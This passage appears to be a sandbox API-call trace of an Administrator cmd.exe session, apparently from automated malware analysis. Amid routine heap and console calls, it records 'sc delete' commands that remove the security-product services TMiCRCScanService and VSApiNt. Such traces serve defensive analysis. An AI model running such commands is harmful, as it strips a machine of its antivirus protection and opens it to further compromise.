(HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0079.149] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.149] GetProcessHeap () returned 0x240000 [0079.149] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xb0) returned 0x259180 [0079.149] GetProcessHeap () returned 0x240000 [0079.149] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xb0 [0079.149] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMiCRCScanService") returned 1 [0079.150] GetProcessHeap () returned 0x240000 [0079.150] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0079.150] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0079.150] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0079.150] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0079.150] GetProcessHeap () returned 0x240000 [0079.150] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0079.150] GetProcessHeap () returned 0x240000 [0079.150] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0079.150] GetProcessHeap () returned 0x240000 [0079.150] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0079.150] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMiCRCScanService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMiCRCScanService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete TMiCRCScanService", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x8fc, dwThreadId=0xbb8)) returned 1 [0079.154] CloseHandle (hObject=0x54) returned 1 [0079.154] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.154] GetProcessHeap () returned 0x240000 [0079.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0079.154] GetEnvironmentStringsW () returned 0x261b10* [0079.154] GetProcessHeap () returned 0x240000 [0079.154] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0079.154] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.154] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0079.154] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd3000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0079.155] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0079.207] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0079.207] CloseHandle (hObject=0x50) returned 1 [0079.207] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0079.207] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0079.207] GetProcessHeap () returned 0x240000 [0079.207] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0079.207] GetEnvironmentStringsW () returned 0x261b10* [0079.208] GetProcessHeap () returned 0x240000 [0079.208] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0079.208] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.208] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0079.208] GetProcessHeap () returned 0x240000 [0079.208] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0079.208] GetEnvironmentStringsW () returned 0x261b10* [0079.208] GetProcessHeap () returned 0x240000 [0079.208] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0079.208] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.208] GetProcessHeap () returned 0x240000 [0079.208] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0079.208] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0079.208] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.209] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.209] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0079.209] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.209] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0079.209] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.209] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0079.209] GetConsoleOutputCP () returned 0x1b5 [0079.210] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.210] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.210] GetProcessHeap () returned 0x240000 [0079.210] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0079.210] GetProcessHeap () returned 0x240000 [0079.210] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0079.210] GetProcessHeap () returned 0x240000 [0079.210] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0079.210] GetProcessHeap () returned 0x240000 [0079.210] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0079.210] GetProcessHeap () returned 0x240000 [0079.210] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.210] GetProcessHeap () returned 0x240000 [0079.210] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0079.210] GetProcessHeap () returned 0x240000 [0079.210] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0079.210] GetProcessHeap () returned 0x240000 [0079.210] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0079.210] GetProcessHeap () returned 0x240000 [0079.210] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0079.210] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0079.210] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.211] GetFileType (hFile=0x120) returned 0x3 [0079.211] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.211] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0079.211] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.211] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.211] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.211] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0079.211] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.211] GetFileType (hFile=0x120) returned 0x3 [0079.211] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.211] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0079.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.211] GetFileType (hFile=0xb8) returned 0x3 [0079.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.211] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.212] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.212] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.212] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.212] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.212] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.213] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.213] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.213] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.213] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" TMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.213] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.214] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="VMiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.214] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.214] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.214] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.214] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SiCRCScanService\ne\n\n\nA\"\n") returned 1 [0079.214] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.214] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.214] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.214] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="ACRCScanService\ne\n\n\nA\"\n") returned 1 [0079.214] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.214] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.214] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.214] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="pRCScanService\ne\n\n\nA\"\n") returned 1 [0079.214] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.214] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.214] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.214] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="iCScanService\ne\n\n\nA\"\n") returned 1 [0079.214] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.214] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.215] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.215] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="NScanService\ne\n\n\nA\"\n") returned 1 [0079.215] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.215] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.215] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.215] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="tcanService\ne\n\n\nA\"\n") returned 1 [0079.215] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.215] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.215] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.215] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="\nanService\ne\n\n\nA\"\n") returned 1 [0079.215] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.215] GetFileType (hFile=0xb8) returned 0x3 [0079.215] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.215] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.215] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.215] GetFileType (hFile=0x120) returned 0x3 [0079.215] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete VSApiNt\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete VSApiNt\n", lpUsedDefaultChar=0x0) returned 19 [0079.215] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x12, lpOverlapped=0x0) returned 1 [0079.216] GetProcessHeap () returned 0x240000 [0079.216] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0079.216] GetProcessHeap () returned 0x240000 [0079.216] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0079.216] GetProcessHeap () returned 0x240000 [0079.216] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0079.216] GetProcessHeap () returned 0x240000 [0079.216] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0079.216] GetProcessHeap () returned 0x240000 [0079.216] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x256510 [0079.216] GetConsoleOutputCP () returned 0x1b5 [0079.216] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.216] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.216] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.217] GetProcessHeap () returned 0x240000 [0079.217] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0079.217] GetProcessHeap () returned 0x240000 [0079.217] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x36) returned 0x256550 [0079.217] GetProcessHeap () returned 0x240000 [0079.217] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c590 [0079.217] SetErrorMode (uMode=0x0) returned 0x1 [0079.217] SetErrorMode (uMode=0x1) returned 0x0 [0079.217] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5a0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0079.217] SetErrorMode (uMode=0x1) returned 0x1 [0079.217] GetProcessHeap () returned 0x240000 [0079.217] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c590, Size=0x62) returned 0x25c590 [0079.217] GetProcessHeap () returned 0x240000 [0079.217] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c590) returned 0x62 [0079.217] GetEnvironmentVariableW (in: 